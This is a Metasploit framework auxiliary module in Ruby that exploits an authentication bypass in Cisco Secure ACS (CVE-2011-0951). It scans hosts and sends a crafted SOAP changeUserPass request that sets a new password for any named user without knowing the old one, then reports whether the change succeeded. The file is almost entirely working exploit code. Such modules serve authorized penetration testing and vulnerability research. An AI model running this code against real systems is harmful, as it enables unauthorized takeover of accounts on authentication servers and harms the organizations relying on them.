##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'         => 'Cisco Secure ACS Unauthorized Password Change',
			'Version'      => '$Revision$',
			'Description'  => %q{
				This module exploits an authentication bypass issue which allows arbitrary password
				change requests to be issued for any user in the local store.
				},
			'References'     =>
				[
					['BID', '47093'],
					['CVE', 'CVE-2011-0951'],
					['URL', 'http://www.cisco.com/en/US/products/csa/cisco-sa-20110330-acs.html'],
				],
			'Author'         =>
				[
					'Jason Kratzer',
					'www.flinkd.org'
				],
			'License'      => MSF_LICENSE
		)

		register_options(
			[
				Opt::RPORT(443),
				OptString.new('URI', [false, 'Path to UCP WebService', '/PI/services/UCP/']),
				OptString.new('USERNAME', [true, 'Username to use', '']),
				OptString.new('PASSWORD', [true, 'Password to use', '']),
				OptBool.new('SSL', [true, 'Use SSL', true],),
			], self.class)
	end

	def rport
		datastore['RPORT']
	end

	def run_host(ip)
		soapenv='http://schemas.xmlsoap.org/soap/envelope/'
		soapenvenc='http://schemas.xmlsoap.org/soap/encoding/'
		xsi='http://www.w3.org/1999/XMLSchema-instance'
		xsd='http://www.w3.org/1999/XMLSchema'
		ns1='ns1:changeUserPass'

		data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
		data << '<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="' + soapenvenc + '" '
		data << 'xmlns:SOAP-ENC="' + soapenvenc + '" '
		data << 'xmlns:xsi="' + xsi + '" xmlns:SOAP-ENV="' + soapenv + '" '
		data << 'xmlns:xsd="' + xsd + '">' + "\r\n"

		data << '<SOAP-ENV:Body>' + "\r\n"
		data << '<ns1:changeUserPass xmlns:ns1="UCP" SOAP-ENC:root="1">' + "\r\n"
		data << '<v1 xsi:type="xsd:string">' + datastore['USERNAME'] + '</v1>' + "\r\n"
		data << '<v2 xsi:type="xsd:string">fakepassword</v2>' + "\r\n"
		data << '<v3 xsi:type="xsd:string">' + datastore['PASSWORD'] + '</v3>' + "\r\n"
		data << '</ns1:changeUserPass>'
		data << '</SOAP-ENV:Body>' + "\r\n"
		data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

		print_status("Issuing password change request for: " + datastore['USERNAME'])

		begin
			res = send_request_raw({
				'uri'     => "/#{datastore['URI']}",
				'method'  => 'POST',
				'data'    => data,
				'headers' =>
					{
						'Content-Length'  => data.length,
						'SOAPAction'      => '"changeUserPass"',
						'Content-Type'    => 'text/xml; charset=UTF-8',
					}
			}, 60)

		rescue ::Rex::ConnectionError
			print_error("#{rhost}:#{rport} [ACS] Unable to communicate")
			return :abort
		end

		if not res
			print_error("#{rhost}:#{rport} [ACS] Unable to connect")
			return
		elsif res.code == 200
			body = res.body
			if body.match(/success/i)
				print_good("#{rhost} - Success! Password has been changed.")
			elsif body.match(/Password has already been used/)
				print_error("#{rhost} - Failed! The supplied password has already been used.")
				print_error("Please change the password and try again.")
			elsif body.match(/Invalid credntials for user/)
				print_error("#{rhost} - Failed! Either the username does not exist or target is not vulnerable.")
				print_error("Please change the username and try again.")
			else
				print_error("#{rhost} - Failed! An unexpected error has occurred.")
			end
		end

	end
end